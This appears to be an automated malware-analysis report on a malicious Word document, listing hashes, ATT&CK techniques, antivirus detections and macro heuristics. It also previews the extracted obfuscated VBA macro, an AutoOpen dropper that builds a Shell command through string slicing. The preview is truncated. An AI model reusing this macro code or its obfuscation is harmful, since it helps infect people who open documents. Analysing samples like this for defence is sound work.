Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4e9624a45f3419c3…

MALICIOUS

Office (OLE)

231.5 KB Created: 2018-02-06 13:53:00 Authoring application: Microsoft Office Word First seen: 2018-02-07
MD5: 558953147430c6976574dbb38e4ea588 SHA-1: 14b82839562e274fcb8be22484581552e2da6f34 SHA-256: 4e9624a45f3419c398f9fc9c7e8ec2e8472b432382c11c984aeb7860e1297903
302 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample is a malicious Office document containing a VBA macro with an AutoOpen function. This macro utilizes a Shell() call, indicating an attempt to execute arbitrary code. The ClamAV detection names 'Img.Dropper.PhishingLure-6443153-0' and 'Doc.Trojan.Obfuscated-6443078-0' further support its malicious nature as a dropper or downloader. The obfuscated nature of the VBA script prevents a more detailed analysis of its specific actions.

Heuristics 7

  • ClamAV: Img.Dropper.PhishingLure-6443153-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Img.Dropper.PhishingLure-6443153-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 85086 bytes
SHA-256: fce2193925b19436e1b0a59869d2a1a6f60b053b4a6b825673f42bba0c23b6ae
Detection
ClamAV: Doc.Trojan.Obfuscated-6443078-0
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "okvoRYqzvzPnk"
Function rjqHTSLHTD()
On Error Resume Next
NYDjfCv = ("TLfwtpkzBQMjFhK%!!%SPwCpDjAwjtc")
PjSkA = 4886845 - Sqr(pShYHGAcmPEKAN * Fix(SWFtaJc) + 2825257 / mKRXhWKKJJU) - 3719391 * AwkGjEZOUkzYXP * owlMEBmwpcuP + CDbl(975585 * Int(8953019) / 180325 * Tan(8157809)) / iTWJIUcYpQRaR / CByte(9947728 - CDbl(GYVLYHPw))
oUIOM = 2629577 - Sqr(vdloUUTtGpDtcf * Fix(IoPlVWYdjJj) + 4760279 / SkTWIKNqrjUwz) - 6369898 * KHMwqhPT * LsdXABinvibWVj + CDbl(7117279 * Int(3420699) / 3472577 * Tan(7556077)) / EupXoNScw / CByte(6892255 - CDbl(ICRTLQjqqpFh))
mHKBIhAjZV = Mid(NYDjfCv, 9, 13)
ddFwOo = ("pLmPJjPhSTKPoiIsak%=pzrmaKmlZCuHlmvlKHDz")
fdKIaBzcb = 7942441 - Sqr(OLOShnVIfnvDrK * Fix(krMjAaiBBIK) + 7391933 / fJCvPdwn) - 7824525 * mORWsFzkUSGRO * IoUfJMJXBMdWk + CDbl(35762 * Int(7839048) / 2752719 * Tan(2219329)) / vDZSiDpwBXqUC / CByte(2631525 - CDbl(MmaJSibiPMFtWU))
IRhooOJOLuq = 9929294 - Sqr(GGQVLRqFQqNLmh * Fix(KPbYNOFsLUYJ) + 1062050 / KScBbkNmsiv) - 9266244 * scRQsifudu * lhANEBnHkbFYlJ + CDbl(1974747 * Int(9429927) / 3720766 * Tan(4688847)) / tdRsMQuDfb / CByte(4941930 - CDbl(hYjPujzhqvnL))
DtqoH = Mid(ddFwOo, 15, 13)
zRfJvnjQiiz = ("pBIbpDwtFbnQKtEGDoZztbjnTEwsKwJorrOB")
YmOpaonHzEC = 1830540 - Sqr(nkfRUhDU * Fix(hQfSbsdQCTTa) + 7027927 / HFcLkrsIp) - 1090988 * IPdYdzrIERu * wrvhTDfphCXY + CDbl(2464734 * Int(8405769) / 4124843 * Tan(3658192)) / tYaaqTdzrYU / CByte(5383363 - CDbl(fvMSiTpKZ))
jMLczGqn = 995208 - Sqr(QtFsFMmd * Fix(fLtUMHYRhc) + 5886514 / NPXbMuNB) - 5693943 * TTQKzOlui * qDnUCsFXvXdz + CDbl(5108694 * Int(9923263) / 492202 * Tan(5814315)) / QtRYcvNsZECJ / CByte(1889186 - CDbl(mzrTKcCZToqF))
OOozMuwU = Mid(zRfJvnjQiiz, 5, 2)
rUizIcJRTPz = ("HNmPEtUKLMXKjGrmUIkU&&!AOJkRYTnHDuV")
jrZkzbKR = 391545 - Sqr(bAXCfZdiJz * Fix(MkBWBfiGMkrFFJ) + 5041195 / wiiubqsZE) - 4643380 * cziwwQHOEzhtOM * pojvStFHjzbFWV + CDbl(8356081 * Int(5474652) / 3519467 * Tan(5590792)) / CJhovpzvVUOp / CByte(3767045 - CDbl(cADqIGEWpwwU))
FCBck = 2101561 - Sqr(sNUPQjKpIAnF * Fix(zkmRKHXtVn) + 7371889 / XdfTisai) - 2384264 * HzzYmXn * DCClGmDjlNnrX + CDbl(4993512 * Int(6649359) / 1133199 * Tan(8743190)) / fVaHMbI / CByte(8997083 - CDbl(nSmVAFdjjGl))
BTZSr = Mid(rUizIcJRTPz, 16, 8)
bNQHdnWD = ("czSdCKkBwMOzmowF&&set %jUAj")
OPcQGSqdZ = 3751335 - Sqr(XDFlsdfFdCDikk * Fix(bRsDoSN) + 3705412 / wRPbjCpN) - 5179335 * dCGIDNLkSM * MHVbWQJBijKkw + CDbl(7719482 * Int(5179661) / 2564231 * Tan(805523)) / aNqDMGAVJp / CByte(8039169 - CDbl(iuGQkKuANmj))
zNKhKlmlj = 2365867 - Sqr(qTSHUcAHPszzIu * Fix(aBHTLBwPd) + 6534200 / QSEHohd) - 1324043 * miNoNpWSCH * bPjZLiMAv + CDbl(8452634 * Int(800139) / 7776640 * Tan(4960888)) / LhDHDSVCY / CByte(5296708 - CDbl(oSGVijNWQbBmi))
wPIsOvDjBn = Mid(bNQHdnWD, 17, 7)
sUXstJLv = ("HSfzwIzcRWWlcCYfU%!wFY")
aTrRV = 7721515 - Sqr(Nbmwhuu * Fix(AWWMNBRUJoR) + 3454230 / VOCfPhrbP) - 8078797 * trwTNIKJoTLMA * mPnWSzW + CDbl(4267291 * Int(7445591) / 8508745 * Tan(2573724)) / RSMDBljjSWCw / CByte(1338620 - CDbl(iIdtKBC))
ljUizQz = 5141363 - Sqr(REFzsTXEGFi * Fix(swlSZjTlPNoPR) + 3639107 / tshLhqpvz) - 9310296 * nMvSvscKmMrbk * ioNEPpjaFi + CDbl(2184574 * Int(4790655) / 8796823 * Tan(9392559)) / CBmVmsH / CByte(8172172 - CDbl(RwmGjBBRzqwBcq))
WZFMibEVEG = Mid(sUXstJLv, 13, 7)
tUdoGWGlTk = ("TwzKFEuKdZdpzNr&&RbaoOYqbFwijSAkLCiqP")
bFLMjRDqu = 2414198 - Sqr(KwlcABYmnqtWiP * Fix(imNuFFYoHfSFIO) + 9292606 / RdXnanwrUYqIXn) - 2187963 * abRasrGqmJizhv * XrvcsHcXr + CDbl(8105926 * Int(4178866) / 5048985 * Tan(6335002)) / PRUUUfjzV / CByte(372944 - CDbl(WjBQIzJYIS))
wjuMwzaYaX = 3360883 - Sqr(KSqwDakXQZb * Fix(sJcNPjaVtC) + 4276562 / aGiqMBYwwqJ) - 339970 * hdWliJwFiYw * vIZswhIwQX + CDbl(9432914 * Int(8452685) / 8793099 * Tan(2075108)) / BiYBAbkiG / CByte(725398 - CDbl(OtZUwhjTQswE))
NNFim = Mid(tUdoGW
... (truncated)

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